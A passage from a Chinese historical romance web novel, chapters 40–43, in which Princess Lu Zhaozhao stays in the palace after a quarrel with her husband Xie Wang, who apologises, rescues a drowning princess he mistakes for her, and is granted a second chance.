反正她不要再回去了,父皇不同意和离,那她就住在宫里,见不到谢妄,谢妄也不能再轻薄她了。又没有哪条律例规定公主出嫁后不能住在宫里,就算有,想必父皇也不会赶她走的。陆朝朝打定主意。 谢妄回到明心堂时,只见陆朝朝的房间房门紧闭,他只当她不愿意见自己,他心中有愧,也不知如何面对她,便兀自回了房间。思忖良久,还是决定先和她道歉。 而后他才知道,原来她压根今日未曾回来,而是回了宫中。 谢妄眉宇之间涌出郁色,心里不好的预感愈发深重。 陆朝朝没回来的事瞒不过谢家其他人,林娇与谢正霄二人很快便知晓此事,趁夜色过来明心堂,一人一句左右开弓地絮叨谢妄。 谢正霄:“你又做了什么事?把公主都气得回宫了。” 林娇:“不是都告诉过你了,你凡事顺着她些,莫要同她对着干,惹她不高兴。你说你聪明在旁处,怎的在这种事上一窍不通呢?” 谢正霄:“是啊,好不容易盼着你成了婚,结果这才多久,你便闹出这种事来。” 林娇:“你明日便进宫,和公主道歉。” …… 他们二 人你一言我一语的,听得谢妄头痛不已,他沉声道:“我知道了。” 送走了两个人,谢妄在房中枯坐。 他明日一早是该进宫,和她道歉,可他并不知道怎么哄她,请求她的原谅。他觉得陆朝朝也许压根不会原谅自己,她本来就很讨厌自己,如今只会雪上加霜。 明日见到自己,陆朝朝会说什么? 谢妄想了很多,心中一团乱麻,毫无底气,这天夜里简直是他人生里最没底的一夜。 翌日清晨,他早早起来,洗漱过后,便进了宫。 谢妄先去千福殿见了崇光帝,先说起一些无关紧要的政事,崇光帝自然知晓他今日来意,昨日朝朝回宫,他就去过曦光殿。估摸着是两个人吵架了,只是问朝朝,朝朝起初还不肯说为什么吵架,只咬定要和离,还放下狠话,说若是父皇不答应和离,她就找根绳子吊死,不活了。 崇光帝只好赶紧哄住人,又问了许久,才知晓缘由。 “他轻薄我!” 崇光帝好整以暇等着谢妄开口,谢妄虽然年轻,行事却一直很沉稳,不会轻易出差错,能看见他有这种狼狈的时候,还真有些难得。 “缜之啊,你就没有别的话要说了?” 谢妄抿唇道:“臣想见昭阳公主,还请陛下应允。” 崇光帝失笑:“你啊,还真是沉得住气啊,像这种事,昨日的矛盾如何能等到今日才解决呢?昨日便该想法子了,今日来了,又磨磨唧唧的。感情一事,可不像别的,太沉得住气可不好。去吧,去见朝朝吧。” 崇光帝说罢,目光落在谢妄脸上,昨日的巴掌印今日消退了许多,但细看仍能看出端倪。崇光帝摇头失笑,毕竟这是自己宠出来的宝贝女儿。 陆朝朝拿了剪子在修剪宫中的绿植枝叶,她下手甚重,仿佛那些绿植是谢妄,叶子落了一地,好些绿植都有些光秃秃的。宫婢们看在眼里,都怕惹得她更不高兴,并不上前。 陆朝朝感觉胳膊有些累,叹息一声,放下剪子,让风荷倒茶水。她一口饮尽杯中茶水,而后便听得宫人来禀,说是驸马求见。 陆朝朝眯了眯眼,冷声道:“不见,让他滚远一点,别来本宫面前碍眼。” 宫人退下了,陆朝朝本以为会获得清净,没想到未几,她不想见的那个人竟出现在自己面前。 陆朝朝蹙眉:“你怎么进来的?” 谢妄诚实道:“陛下。” 陆朝朝没想到父皇居然胳膊肘往外拐,她轻哼了声,不悦道:“你又想做什么?你不会以为在我的地盘,你还可以为所欲为吧?” 谢妄微微垂眸,陆朝朝看着他,感觉他今日那种嚣张的气焰消了很多,甚至不可一世的气势都收敛许多,都不像谢妄了。毕竟从前京城有句话,说他的名字里的妄,是狂妄的妄。 谢妄缓声道:“抱歉,昨日之事是我不对,我不该如此冒犯公主。” 陆朝朝拧眉:“这么大的事,你就一句轻飘飘的抱歉就可以揭过么?” 谢妄抬眸看她:“自然不止有一句抱歉,只是……还请公主屏退左右。” 陆朝朝才不要,万一她把人屏退,剩下他们两个人也太不安全了,谁知道他又要做什么轻薄她的举动,他可怕得很。 “不可能,你有什么话就在这儿说,有什么见不得人的。” 谢妄抿唇不语,又垂下长眸,似乎在思索。 陆朝朝可没那么多耐心,不耐烦道:“你不说就赶紧滚,看见你就烦。” 谢妄轻咳了声,再次抬眸,毫无预兆地“汪”了一声。 陆朝朝疑心是自己听错,不由得盯住谢妄。她刚才听见了什么? 就在她怀疑之际,再次听见了谢妄口中传来的“汪汪汪”声,这回不止一声,而是一连串的狗叫。 陆朝朝讶然睁大眼睛,不可置信地从上到下扫视谢妄一眼,怀疑他被鬼附身了。 周遭的宫女们也听见了这狗叫声,皆忍俊不禁。没想到谢大人还有这样一面。 他神色略有些尴尬,但仍是那副高冷的模样,实在很有反差。陆朝朝没忍住也笑了出来,噗嗤一声。 谢妄听见她笑,心下松了口气。 他又道:“昨日我也觉得那样的自己很陌生,不知道自己脑子里在想些什么,只是听见你说章安澜好,便仿佛空白一片。现在想来,因为我在嫉妒,我嫉妒你喜欢章安澜,可能我只是想说,为何你不能喜欢我。” 他看着她的眼眸说话,一如既往的平淡口吻,甚至那些话第一遍在陆朝朝脑袋里飘过去都没意识到他说了什么,片刻之后,陆朝朝后知后觉地瞳仁震颤。 她从谢妄口中听见了什么,情话? 用一种平静带点冷意的口吻说的……情话? 好诡异。 谢妄继续说:“我知道你讨厌我,仔细想来,我从前做了许多事似乎的确令人讨厌,很抱歉,那时候我不知道我会喜欢你。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 40-50 第41章 第四十一做什么都可以。 陆朝朝眼睛睁得更大,狐疑的目光从上到下扫视了谢妄一遍又一遍,甚至都有点怀疑他中邪了。但是光天化日之下,他好端端站在自己面前,并无半分中邪的迹象。 谢妄与她对视,观察着她的神情,他生平第一次这般低声下气地同人表白心迹。陆朝朝怔怔看着他,除了惊讶以外似乎并未有别的情绪。 谢妄垂眸,掩住眼中的失落,继续说道:“我既然与公主成婚,便是认真对待这桩婚事,并非草率敷衍。” 陆朝朝终于迟缓地开口:“为什么?” 她问:“你为什么会突然喜欢我呢?” 他们都认识多少年了,突然谢妄就喜欢她了,实在说不通。 谢妄摇头:“我也不知。” 他若是知道,事情也不至于变成现在这样了,他若是知道,会在更早的时候遏制住自己的感情。正因为他不知道,所以寻不到缘由阻止。 陆朝朝又沉默下来,好一会儿才道:“你还有别的话说吗?没有的话,你走吧。” 谢妄道:“没有。” 他说罢,当真离开了曦光殿。 陆朝朝看着他的背影消失在宫门处,好像晒了太久的太阳,她感觉脑袋有些发昏,陆朝朝唤水月过来扶自己进去坐下。她倚在美人榻上,支着脑袋,还在想方才谢妄那些话。 刚才的谢妄,真的和平日里不太一样。他退去了不可一世的狂妄冷漠,甚至显得有些低声下气,他说他对这桩婚事是认真的,希望她能愿意给他一个机会,并非要她完全接受他,而是尝试接受与他能有一些发展的机会。 天哪。 陆朝朝忽地坐直身子,谢妄好像对她是认真的。 可是她不喜欢谢妄啊。 可是谢妄以前好像也不喜欢她。 难道喜欢这种东西真的可以突然之间转变吗?她不知道。 陆朝朝想到章安澜,她喜欢章安澜,但也没有喜欢到那种非要嫁他不可的程度。那天她知晓章安澜原来喜欢自己时,她心里自然有十分的喜悦,但也并未想立刻和谢妄和离嫁给章安澜。 仔细想想,她喜欢章安澜什么呢? 陆朝朝托住下巴,她第一次见到章安澜是和傅宝嘉出去玩的时候,偶尔惊鸿一瞥,瞥见章安澜,觉得他长得很好看。她喜欢漂亮的首饰,漂亮的衣服,当然也喜欢漂亮的好看的男人。 那日章安澜与人比拼文采,出口成章,又态度谦逊,让陆朝朝更觉欢喜。她喜欢章安澜好看,喜欢章安澜有才华有风度,是一个标准的君子。 谢妄完全与此相反。 但是她和章安澜这个人的相处其实并不多,只说过几回话,更多时候都是她暗中看着,或是听闻他的消息。至于幼时那点情谊,就更谈不上什么了,她其实早都忘了,还是前些时候才想起来的。 至于谢妄,她认识谢妄的年岁可太长了,这么多年都是针锋相对。 陆朝朝无意识地在心里将谢妄与章安澜二人比较起来,又比不出个什么东西,她甩甩脑袋,决定先吃一碗清凉解暑的甜汤。 陆朝朝在宫中住了几日,虽然不大合规矩,但众人都知晓崇光帝一向偏爱昭阳公主,也没人敢说什么。只有太后,在陆朝朝过来请安的时候明里暗里地教训 了几句,陆朝朝嘴上应着,并未放在心里。 就这么过了五六日,谢妄又来了。 他带了些东西给她,说是谢绵绵想她,给她带的礼物,有谢绵绵摘的花,还有自己做的玩具,以及谢绵绵画的画之类的。陆朝朝也喜欢谢绵绵,对她的东西并不抗拒,都收下一一看了,不由得失笑,让风荷带了些她宫里的点心给谢妄,让他转交给谢绵绵。 “这个牛乳糕香甜可口,绵绵肯定喜欢。”她说道。 谢妄收下东西,道:“我代绵绵谢过公主。” 他一顿,道:“绵绵还说,她很想公主,问公主几时回家。” 陆朝朝并不回答最后那个问题,只说:“我也很想她。” 谢妄顿了顿,又道:“我也是。” 他这一句说得不轻不重,又因他一概说话冷冷的,故而陆朝朝又愣了好一会儿,才反应过来他说的什么。 他也想她?是这个意思吗? 她诧异地看了眼谢妄,她怎么感觉谢妄变了。 她眨了眨眼,只当没听见,背过手转去花圃前赏花。 谢妄的目光追随着她,又问:“公主还在生我的气么?” 陆朝朝:“对啊。” 谢妄默了默,道:“公主要如何才能消气?让我做什么都可以。” 陆朝朝回眸看他,反问:“什么都可以?” 谢妄想到她过往的作风,一时迟疑。 陆朝朝嘁了声:“看起来也不是很有诚意。” 谢妄正色:“烦请公主再问一遍。” 陆朝朝:“做什么都可以?” 谢妄这回没有任何迟疑与犹豫,立刻答话:“自然。” 陆朝朝唇角弥出微不可觉的一点笑意,故作沉思:“做什么都可以啊,那我得好好想想。” 她伸手拨弄花圃里的花,脑袋里转过一圈,思索该怎么捉弄谢妄。这可是他自己提出来的,不是她欺骗或者逼迫,千载难逢的好机会。 学狗叫他已经学过了,再做类似的就没意思了,那还有什么呢? 她咬着唇,忽地想到了什么,眼前一亮,眼神狡黠地看向谢妄。 未几,二人坐在曦光殿中。 陆朝朝轻饮着茶水,谢妄坐在她对面等着,隐隐有些不安。方才她让风荷去找了什么东西,风荷还未回来。 陆朝朝看了眼他面前的茶水,惬意道:“喝茶呀。” 谢妄这才拿起茶水,轻尝了一口。 他放下茶水,风荷便回来了,手中还拿着什么东西。风荷将托盘搁下,回话:“殿下,东西拿来了。” 陆朝朝点头:“好,你们都退下吧。” 她说这话的时候,似有若无地看了眼谢妄,谢妄知道她的意思是指他轻薄了她那件事,他面色如常,只当没看见。 宫婢们都退了出去,陆朝朝手指敲了敲桌面,示意谢妄拿起托盘里的东西看看。谢妄起身,看向托盘里的东西,似乎是一件女子衣裙。 他眉头微微一皱,而后听见陆朝朝道:“换上吧,谢缜之。” 谢妄:“……” 陆朝朝道:“你不是说做什么都可以么?你要是不想换,那你就走吧。” 谢妄看向她,她眉目之间蕴着几分捉弄的笑,娇俏可爱。 他再次垂眸,抖开那件衣裙,是一条很漂亮的绯色长裙。 谢妄沉默须臾,视死如归地拿着那条裙子去了里间更衣。 陆朝朝看着他僵硬的步子,已经忍不住笑出声来。她在外间等着,等了许久也不见谢妄出来,等得都有些不耐烦了,出声催促:“好了没有啊?你怎么这么磨叽?” 谢妄轻咳了声,终于从里间走出来。 陆朝朝起身看去,那条裙子是她的,穿在谢妄身上尺寸不对,裙子只能到谢妄小腿,上半身也有些小,他穿不进去,松松垮垮地耷拉着。他的身体仿佛被这条裙子封印住,连走路都变得很别扭拘谨。 这一幕是在太过滑稽,陆朝朝没忍住失笑。她忍住笑声揶揄道:“绝色佳人啊,我觉得萧紫渔这第一美人的名号可以让给你,你觉得呢?” 谢妄脸色并不好看,沉默不语。 陆朝朝走近几步,绕着他转了两圈,一边笑一边替他整理衣裙,在看见他露在外面的小腿时,又一阵哄笑。 她打量了谢妄一圈,忽地觉得还差了些什么,便又去自己的妆奁里取了几个首饰,戴在谢妄头上。她满意地点点头,按着谢妄坐在梳妆台前,对铜镜相照:“怎么样?看见这么美丽的自己,你有什么想法?” 谢妄看着铜镜里的那张滑稽的脸:“想死。” 陆朝朝笑得更大声了。 谢妄不忍再看铜镜,别过脸,“公主现在可消气了?” 陆朝朝歪头笑说:“我可没说你答应穿了裙子,我就一定消气。” 谢妄盯着她数息,她毫不遮掩自己的顽劣,若是从前,他应当会觉得很不耐烦,但是现在,看着她的眉目,似乎又觉得她这样……也挺可爱的。 谢妄垂下长眸,问:“我现在可以换下来了吗?” 陆朝朝没答,只是问:“谢妄,你生气了吗?” 谢妄道:“没有。” 陆朝朝微微颔首,得寸进尺道:“那我若是叫你穿成这样回家,你会生气吗?” 谢妄再度不语,片刻之后开口:“若是公主能消气。” 陆朝朝没想到他竟然连这种无理的要求都会答应,她在脑中想了想若是谢妄穿成这样回家,那场面一定很精彩。她权衡一番,还是摇头拒绝:“还是算了,毕竟再怎么样你名义上也是我的驸马,若是传出去,也连累我的名声。” “罢了罢了,你回去吧。”陆朝朝摆摆手,赶他离开,还是没答应他不生气了。 谢妄换下衣服后,便离开了曦光殿。 陆朝朝坐在榻上,想到方才的场面,时不时笑出声来。 若是别人知晓一向冷情的谢大人穿起女装来也如此美丽,一定会叫所有人都大跌眼镜。 陆朝朝心情大好。 水月见状,笑说:“其实公主和谢大人也有相处和睦的时候呀。” 陆朝朝嘟了嘟嘴,心想这种时候可不多,从前他哪里会这样任由自己摆布。又不由想到,若是日后这种时候很多的话,其实倒也不错。 她又觉得自己想得太多了,反正,她还没打算这么快就原谅谢妄呢。 至于别的,再说吧。 第42章 第四十二像是她红杏出墙被逮住的感觉…… 听闻谢妄归家,谢绵绵迫不及待地跑来明心堂张望,她扒着门框,却只看见谢妄一个人,肉嘟嘟的小脸当即耷拉下去。 “小叔,你怎么还没把哄好呀?都好久啦,爹爹从来不会让阿娘生气这么久的。”她撅了噘嘴,有些不满。 谢妄抿唇,把手中的食盒交给谢绵绵的奶娘,道:“快了,公主给你的。” 谢绵绵听见这话,眼睛又变得亮晶晶的,“公主真好,我喜欢她。” 她得了礼物,开心得不得了,兴高采烈地领着奶娘回去,临走之前,没忘奶声奶气地叮嘱谢妄:“小叔,你要赶紧把公主哄好哦。” 谢妄垂低视线,思及今日与陆朝朝见面之事,虽说她没有说不再生气,但她今日瞧着很高兴,这是好事。 殿中冰鉴融了许多,水月近来添上,回头便见陆朝朝坐在榻边无端失笑。 陆朝朝是记起想到今日谢妄穿裙子的样子,忍不住笑。 她从前哪里想过,有朝一日能叫谢妄做这种事。她弯起唇角,又饮了一口酸梅饮,感觉这件事足够她笑一辈子谢妄。 之后陆朝朝仍住在宫中,谢妄三不五时会过来见她,二人新婚夫妻却分居两地,惹得议论纷纷,冒出各种猜测。那些话里有好听的,也有不好听的。好听些的,是道夫妻之间哪有不吵架的,至于不好听的,版本繁多。 当时在马球会上的事多少传了出去,有人说,二人如此是因昭阳公主性 情骄纵,仗着崇光帝宠爱无法无天,对谢大人强取豪夺之后不愿负责,所以即便不情不愿成了婚,也故意这般冷着谢大人。 这些话也传到了刑部的官员耳中,自从听闻谢大人与公主闹矛盾,刑部众人才回过味来,心道难怪谢大人新婚不久便来上值了。又不免惴惴不安,怕此事影响到谢大人的心情,殃及他们这些池鱼。 不过倒也还好,谢大人这些日子的心情瞧着尚可,尚可的意思不是指他心情大好,而是指和从前没有太大的差别。毕竟谢大人心情大好的时候是在不多。 那些传言自然也传到了太后耳中,太后对陆朝朝此举本就不满,见传闻愈演愈烈,便把人叫来了慈宁宫,敲打了几句。 “昭阳,你如今已经嫁了人,便不能再由着性子胡来。夫妻之间吵架,此乃寻常事,闹闹别扭也就好了,你这般长久地住在宫中,落人话柄,有损皇家颜面。众人都会以为,是你父皇娇纵了你,才叫你如此肆意妄为。” 太后神色凌厉,眉目之间并无半分对孙女的慈爱,她对陆朝朝一向如此,对旁的公主和蔼许多,尤其对陆皎月时,最为慈爱。 陆朝朝不好正面顶撞,心中虽不悦至极,面上还是应下:“皇祖母教训得是,孙女明白了。” 出了慈宁宫,陆朝朝小脸就垮了下来。她知道太后的意思是让她赶紧搬回谢家,可是她还不想搬回去。偏偏此事她也不好和崇光帝说,在这件事上,崇光帝也站在太后那边。 她想得心烦,半道上决定今日出宫去找傅宝嘉玩。 在出宫的路上,遇上了四公主陆善灵。 “三皇姐,你是不是要出宫去玩?带我一起好不好?”陆善灵挽住陆朝朝的胳膊,和她撒娇。 陆善灵和陆朝朝的关系尚可,虽算不得多亲近,但也不算很疏离,陆善灵活泼开朗,一向待人热情,陆朝朝还挺喜欢她的,便答应了。 “行啊,不过你得答应我,出了宫可得收着点性子,不许跟玩疯了似的,知道了吗?”陆朝朝说。 公主其实寻常并不能三天两头地往宫外跑,若是要出宫,还得向皇后请示,皇后虽性情温和,但一来二去的也太过麻烦。但陆朝朝不同,崇光帝给她的偏爱,她想出宫便出宫,无需向皇后请示。 二人登上出宫的马车,不多时,马车便已经行驶出宫门。周边传来了市井街巷的热闹叫卖声,陆善灵喜欢这种热闹,不由得打起帘栊四下张望,一双眼睛亮晶晶的。 她感慨道:“真羡慕三皇姐,可以随时出宫玩,宫外多好玩呀,要是我也能随时出宫就好了。” 陆朝朝笑了笑,没说什么。 马车又往前行驶了一会儿,陆善灵已经有些坐不住,恨不能立刻下马车到处去玩,又碍于是跟着陆朝朝出来的,不敢太过放肆,只得耐着性子跟着她。陆朝朝去了傅家找傅宝嘉,傅宝嘉很快便出来了,抬腿迈进车中便道:“朝朝,你和谢妄怎么样了?” 她话音刚落,才发现原来马车里还有一个陆善灵,“臣女见过四公主。” 陆善灵笑了笑,听见傅宝嘉方才说起谢妄,有些好奇地看向陆朝朝。陆善灵对陆朝朝会和谢妄成婚这件事很是意外,她也不清楚其中细节,不由有几分八卦。 因着陆善灵在,陆朝朝当然不会和傅宝嘉讨论谢妄的事,只轻咳了声,和傅宝嘉说起些旁的事。陆善灵听不到八卦,又听她们闲聊,好生无聊,想出去逛玩的心膨胀起来,她实在憋不住,开了口:“三皇姐,不如这样,你们去玩,我自去玩,也不妨碍你们,如何?” 陆朝朝也觉得带着陆善灵有些不方便,有些话都不能当着陆善灵的面说,迟疑了下,又叮嘱她:“那你记得别玩太疯了,注意自身安全,一切小心为上,明白么?” 陆善灵连连点头,叫停了马车,飞一般地跑远了。 待陆善灵走后,傅宝嘉迫不及待追问谢妄:“我听说你们又吵架了,你都回宫里住了,怎么了?还有那天你和章安澜说了什么?你问了他没有?他怎么说?” 陆朝朝唔了声,支支吾吾道:“那天我问了章安澜,他说是。然后,谢妄不知怎么也来了,你也知道我跟谢妄总是话不投机,所以就吵了起来,吵了几句,他……突然亲了我,而后我便打了他一巴掌,回了宫。” 傅宝嘉嘴巴张得很大:“什么?你们的进展已经如此迅速了吗?” 陆朝朝摇头:“哪有什么进展,他就是突然莫名其妙就亲我啊,所以我才好生气嘛。” 傅宝嘉还在消化这个消息,好一会儿才又继续问:“那然后呢?他说什么了?” 陆朝朝把那天谢妄说的话原封不动地转述给傅宝嘉听,听得傅宝嘉倒吸一口凉气:“我不敢相信,这是从谢妄嘴里说出来的话。果然爱情叫人变得陌生么?” 傅宝嘉咂摸了会儿,又问:“那朝朝,你如何想?你可想好,你要选章安澜还是选谢妄?” 陆朝朝仍是摇头,又跟着叹息:“我不知道。我一方面觉得我不喜欢谢妄,但是又觉得他谢妄还挺……嗯,我也不知道怎么说,而且父皇也不愿答应我们和离。” 像这境况,她也不可能选得了章安澜。她总不能不和离,就跑去跟章安澜有些什么,那样子不清不楚不明不白的,她不愿如此。 傅宝嘉道:“那你便给谢妄一个机会嘛,你看他这不是挺会说话的嘛?” 陆朝朝不语,只是叹息。 傅宝嘉忽地嘿嘿一笑,又低声问:“朝朝,亲嘴是什么感觉啊?” 陆朝朝蹙眉:“哪有什么感觉,我当时脑子一片空白,只觉得愠怒。” 傅宝嘉舔了舔唇,记起什么,捧住脸颊:“我倒觉得,还蛮有意思的。” 她虽还未和薛仲霖完婚,但二人时常见面约会,也会拉拉小手,抱一下,偶尔也会亲。她主动比较多,薛仲霖总会说于理不合,然后被她亲得面红耳赤,红着眼看她,实在可爱。 陆朝朝嗔瞪她一眼,骂她一句:“下流。” 二人说了会儿话,下了马车,便去平日里常去的铺子逛玩,一直到黄昏时候,竟在街上遇上章安澜。 章安澜看见陆朝朝,眼中尽是惊喜:“臣见过殿下。” 陆朝朝也有些惊喜:“章大人,这么巧。” 章安澜道:“臣是来碰碰运气,看看能不能淘到些古籍。” 陆朝朝:“章大人很爱看书?” 章安澜笑说:“只是闲暇时的一些爱好。” 陆朝朝见他态度谦逊,心中好感更甚。哪像谢妄,天天那么狂妄自大,目中无人。 傅宝嘉看热闹不嫌事大,主动邀约:“章大人待会儿可还有什么要紧事?若是不急,与我们一同逛逛?” 章安澜愈发惊喜,连忙应下:“臣没什么要紧事,能陪殿下走走,是臣的荣幸。” 陆朝朝没想到傅宝嘉会直接邀请他留下,看了眼傅宝嘉,傅宝嘉吐了吐舌头。不过这样也好,陆朝朝看了眼章安澜,和他保持了些距离并肩而行。 她垂着眸子,有些不知说些什么,想了想,问道:“章大人平日里除了看书,还有什么旁的爱好么?” 章安澜摇头:“臣没什么爱好,臣的生活颇为无趣,平日里就是同笔墨书本打打交道。” 陆朝朝道:“那也很好啊,怎叫无趣,难道不是文雅么?” 章安澜笑起来:“说好听些是文雅,说难听些可不就是无趣了。” 陆朝朝与章安澜二人有一句没一句地聊着,她只觉得和章安澜说话让人感觉很舒服,他言辞温和,并不凌厉,更不喜欢阴阳怪气,和谢妄完全不同。 二人不知不觉,便聊了许久。 暮 色四合,灯影初上,三人沿着河岸缓缓漫步,陆朝朝该回宫了,便同章安澜告别:“今日多谢章大人作陪。” 章安澜含情脉脉地看着她,似乎很是不舍:“能陪殿下说会儿话,臣觉得很高兴。” 陆朝朝对上他的眼神,又觉欣喜,又觉无奈。若是更早一些就好了。 她回过视线,正欲转身之际,忽地听见河中传来些喧闹的动静,似乎发生了什么事。她往河中看去,河中常有花船,至夜时热闹繁华,只见其中一艘花船中浓烟滚滚,像是失了火,船上有人跳水,亦有人呼救。 再定神一听,呼救之人唤的是:“快来人,公主落水了,快来人护驾!” 陆朝朝当即想到陆善灵,一时轻嘶了声,赶紧让水月去打听情况,又让风荷去带着侍卫去帮忙。 “定是善灵,这疯丫头,都叮嘱她收着些了,也真是的,可千万别出什么事才好。” 因着陆善灵是跟着她出来的,陆朝朝不可能袖手旁观,便带着人靠近出事的岸边。她随行带了侍卫,侍卫们很快下水将人救了上来,果真是陆善灵,她呛了几口水,还有些惊吓,不过人没有什么大碍。 确认她没有伤到什么,陆朝朝才严肃道:“我都跟你说了,叫你收着些,别玩得太疯了。你把我的话当耳旁风是不是?” 陆善灵自知理亏,不敢辩驳,低着头挨训。陆朝朝训斥了几句,赶紧叫人带她去换身干净衣服,跟自己一起回宫。 她叹了声,正欲离开,眸光忽地一顿,落在不远处的柳树下。 灯影昏昏,她看不分明,只觉得那柳树下站了个人影,竟有些像谢妄。 她皱了皱眉头,觉得是自己看错了吧。 谢妄怎么会在这里? 她眯了眯眼,正迟疑之际,那道模糊的身影从昏暗的光线下走出来,灯光映在他脸上,照出他好看但冷峻的轮廓,不是谢妄又是谁呢? 陆朝朝难掩惊讶,走近几步,待近了,她还发现谢妄身上衣裳也湿透了,像是刚从水里捞出来似的。 她道:“你怎么在这儿?还搞得这么狼狈?” 谢妄面色如霜,眼神落在她身侧。 陆朝朝顺着他的视线看去,意识到他在看章安澜。章安澜方才也跟了过来,此刻就站在她身边。 陆朝朝被他这么一看,无端有几分心虚,有一种她红杏出墙被逮住的感觉。 谢妄的嗓音亦是冷冷的:“方才有人呼救。” 陆朝朝一时没反应过来:“你几时如此善良,看见人呼救还自己跳下去救?你又不会游泳。” 谢妄垂下眼眸,嗯了声:“殿下说得是,我没这么善良。既然殿下没事,我先走了。” 陆朝朝觉得他的话有点怪怪的,嘟囔了句,忽地意识到什么,脚步一顿。 ……他不会是以为,方才那些人口中说的公主落水,是她吧?所以不会游泳,也自己跳下去了? 陆朝朝忽然心头一闷,钝钝的。 他水性一向不好,游泳可以说是他为数不多并不擅长的事。 她再抬头看向谢妄离开的方向,灯影惶惶里,只有游人如织来去,再看不见谢妄了。 第43章 第四十三给你一个机会。 陆朝朝一时神思恍惚,心下仿佛空了一瞬,再回过神来,泛着涟漪的河面映着两岸的灯火,有些刺到陆朝朝的眼。 章安澜站在她身后不远处,将她的反应尽收眼底,神色黯然几分。他始终拿捏不准陆朝朝与谢妄之间的关系,依照众人的说法,他们似乎感情不深,他们的相处看来也的确不甚和睦,可有时候,他又觉得不尽然。 他缓声开口:“所幸四公主并无大碍。” 陆朝朝回神,应了一句:“是啊。我要回宫了,章大人,再会。” 她与章安澜告了别,傅宝嘉也没想到会这么巧,竟叫他们三个人碰在一处,她拍了拍心口,感慨:“方才我都紧张死了,感觉像是偷情被抓了。感觉刚才谢妄看章安澜的眼神好可怕,不过谢妄怎么会跳下去救人?难不成是因着你,爱屋及乌?” 陆朝朝心沉沉的,道了一句:“……大概他以为是我落水了。” 傅宝嘉怔住,她才反应过来,似乎真是如此。 “……他好爱你,说真的,朝朝,你不考虑一下给他一个机会嘛?我都要感动了。” 陆朝朝摇头:“我不知道。” 她叹了声:“我先回宫了。” 和傅宝嘉道了别之后,陆朝朝登上回宫的马车,陆善灵换了身干净的衣服,但自知理亏,只沉默不语。陆朝朝心里想着事,也不说话。 马车里就这么安静着,她不说话让陆善灵更慌了,她看了眼陆朝朝,小声解释:“三皇姐,对不起,我知错了。我不是故意的,我也没想到船会失火,我都吓死了,还以为自己要死了。” 她说完,小心翼翼看陆朝朝的脸色。 陆朝朝抬眸:“算了,你没事就好。” 她说罢,又想到谢妄。 明心堂中。 谢妄已经沐浴过,换了身干净的衣裳,但脸色却始终沉着,从回来就一直如此。 千山与万山对视一眼,皆明白为何,方才他们公子看见船上失火,浓烟滚滚,又听得那船上的婢女呼救道是公主落水了,他们公子愣了一瞬,便径直跳了下去。公子定是以为是昭阳公主落水,所以才这般紧张,结果是弄错了人,昭阳公主好好的,什么事也没有,还和章大人在一块。 廊下的四方画屏灯被风吹得轻晃,谢妄抬眸看了眼,眸光又落在那间暗着的屋子。她已经离开谢家二十余日。 谢妄推开门,千山要上前点灯,被谢妄叫住:“不必。” 他站在门口,借着檐下的光环顾一圈,一切都幽幽地兀自安静着,似乎有些太安静了,他从前倒不觉得自己院子里竟如此安静。 片刻之后,他将门合上。 次日,陆朝朝以为谢妄会来找她,毕竟昨天的事,他看起来并不高兴。 陆朝朝等着谢妄来曦光殿,谢妄却未出现。 她柳眉轻蹙,心道他不会是真的以为她红杏出墙吧?虽然她不喜欢他,也不满意这桩婚事,但还做不出红杏出墙这等事。 略略思索一番,陆朝朝去了千福殿找崇光帝。 林顺在门外候着,崇光帝正在见大臣。 见陆朝朝到,林顺迎上来:“殿下稍等片刻。” 陆朝朝轻嗯一声,视线看向千福殿大门,父皇在见谁?是谢妄吗? 她问林顺:“父皇在见谢大人么?” 林顺颔首应是。 陆朝朝便耐心等了等,不久之后,千福殿内的人走出来,陆朝朝吸了口气,走上前去,对着那道人影道:“谢……” 还未说完,陆朝朝睁大双眼。 的确是谢大人,不过不是谢妄,而是谢正霄。 陆朝朝看了眼林顺,而后扯了扯嘴角,改口:“谢阁老。” 这个林顺,怎么胡说八道。 谢家父子三人都在朝在官,最初对于三人的称呼,是唤谢正霄谢大人,而谢谦则唤小谢大人,后来谢妄入仕,一路风生水起,扶摇直上,得陛下宠信,便渐渐唤谢正霄为谢阁老,谢谦为小谢大人,而谢大人则专指谢妄了。 谢正霄对陆朝朝的寒暄怔了怔,虽说名义上这位公主是自己的儿媳,但自她嫁进谢家,二人相见的机会并不多,没几日,她又搬回了宫中住。 谢正霄:“殿下。” 谢正霄跟她没有什么话说,也不打算当自己小儿子的说客,掺和小年轻的感情。左右他那儿子的臭脾气,也不会领他的好。他招呼过一句,便打算离开。 陆朝朝看着他的背影,咬了咬唇。她进到千福殿,给崇光帝请过安:“父皇。” 崇光帝笑说:“你怎么来了?” 陆朝朝笑说:“儿臣想父皇了,所以来了。” 她漆黑的瞳仁转了转,状似不经意问起:“父皇怎么今日没召谢妄进宫?” 崇光帝语气促狭:“ 怎么?朝朝想见他了?” 陆朝朝马上反驳:“才不是,我就是随便问问。” 崇光帝笑而不语,片刻之后,林顺在外传话:“陛下,谢大人求见。” 陆朝朝讶然看向门外,崇光帝打趣道:“这不就来了?” 陆朝朝哦了声,起身便要走:“那父皇先忙,儿臣先告退了。” 她踏出门,正与谢妄遇上。 谢妄与她四目相对,陆朝朝停住脚步,好似十分随意地提及:“你昨日是不是吃醋了?” 谢妄沉默一瞬,而后嗯了声,坦然承认。 陆朝朝咬了咬唇,解释道:“我昨日与宝嘉玩,碰巧撞见他而已,又一起说了几句话。” 谢妄又嗯了声。 陆朝朝看着他:“你没有别的想问的了吗?” 谢妄摇头。 陆朝朝:“譬如说,我还生不生气,有没有原谅你之类的?” 谢妄接话:“那殿下还在生我的气么?” 陆朝朝:“不怎么生气了。” 没办法,太后都这么说了,她要是再赖在宫里,太后肯定又要跟父皇为她吵起来。她道自己过两日会搬回谢家,顿了顿,“上回你说的,我可以给你一个机会,你好好表现。” 她说罢,便匆匆而去。 谢妄怔愣好一会儿,才反应过来她说的是什么意思,眼前一亮。只是少女已经走远,只留给他一个背影。 谢妄压下心绪,进了千福殿。 崇光帝见他眉宇之间有些意气风发,加之他方才在门外耽搁这么久,今日朝朝又特意问起他,已然猜到两个人说了些什么,会心一笑。 两日之后,陆朝朝便从宫中回了谢家。 谢妄亲自来接的她,回来的马车上,二人对面坐着,陆朝朝道:“先说好,我只是说可以给你一个机会,让你表现一下自己没那么讨厌。你可别想太多,别以为你就可以随便轻薄我了。” 谢妄:“我知道。” 陆朝朝又说:“也不是代表我就一定会接受你做我的驸马。” 谢妄仍是嗯了声。 他突然都顺着她说话,也不气她了,还真让人有点不习惯,陆朝朝没忍住又瞥了他好几眼。 